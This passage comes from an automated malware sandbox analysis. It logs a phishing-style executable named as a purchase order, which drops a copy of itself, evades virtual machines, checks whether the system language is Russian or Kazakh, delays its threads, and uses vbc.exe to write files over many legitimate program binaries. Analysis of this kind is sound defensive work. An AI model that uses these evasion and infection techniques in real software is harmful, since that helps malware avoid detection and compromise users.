Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: RFQ_PO N89397-GM7287-Order.bat.exe PID: 7316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: YRtQgzFlDnVSru.exe PID: 2648, type: MEMORYSTR

Contains functionality to behave differently if execute on a Russian/Kazak computer

Source: C:\Windows\System32\AppVClient.exe	Code function: 15_2_00B652A0 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	15_2_00B652A0
Source: C:\Windows\System32\FXSSVC.exe	Code function: 17_2_004252A0 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	17_2_004252A0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 18_2_008952A0 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	18_2_008952A0
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 19_2_00D152A0 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	19_2_00D152A0
Source: C:\Windows\System32\msdtc.exe	Code function: 20_2_005552A0 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	20_2_005552A0
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Code function: 21_2_00B152A0 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	21_2_00B152A0
Source: C:\Windows\System32\Locator.exe	Code function: 24_2_004C52A0 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	24_2_004C52A0
Source: C:\Windows\System32\SensorDataService.exe	Code function: 25_2_006C52A0 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	25_2_006C52A0
Source: C:\Windows\System32\snmptrap.exe	Code function: 26_2_006852A0 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	26_2_006852A0
Source: C:\Windows\System32\Spectrum.exe	Code function: 27_2_005252A0 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	27_2_005252A0
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Code function: 28_2_004E52A0 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	28_2_004E52A0
Source: C:\Windows\System32\TieringEngineService.exe	Code function: 30_2_007D52A0 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	30_2_007D52A0
Source: C:\Windows\System32\AgentService.exe	Code function: 31_2_00BC52A0 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	31_2_00BC52A0
Source: C:\Windows\System32\vds.exe	Code function: 33_2_00B752A0 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	33_2_00B752A0
Source: C:\Windows\System32\wbengine.exe	Code function: 35_2_00AF52A0 GetSystemDefaultLangID, lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h] lea ecx, dword ptr [eax-00000419h]	35_2_00AF52A0

Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Memory allocated: 30B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Memory allocated: 3220000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Memory allocated: 5220000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Memory allocated: 58E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Memory allocated: 68E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Memory allocated: 6A10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Memory allocated: 7A10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Memory allocated: B920000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Memory allocated: C920000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Memory allocated: CDB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Memory allocated: DDB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Memory allocated: 7500000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Memory allocated: 7770000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Memory allocated: 75B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Memory allocated: 840000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Memory allocated: 2680000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Memory allocated: 23B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Memory allocated: 4BF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Memory allocated: 5BF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Memory allocated: 5D20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Memory allocated: 6D20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Memory allocated: ABE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Memory allocated: BBE0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Memory allocated: 74B0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Memory allocated: 7740000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Memory allocated: 74F0000 memory reserve \| memory write watch

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Code function: 9_2_004A95E4 rdtsc

9_2_004A95E4

Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4098	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4351	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Window / User API: threadDelayed 469
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Window / User API: threadDelayed 1856
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Window / User API: threadDelayed 8110

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\servertool.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Windows Media Player\wmpnetwk.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\7z.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\chrmstp.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\7zG.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Windows\System32\msiexec.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\keytool.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\setup.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\updater.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\kinit.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Jump to dropped file
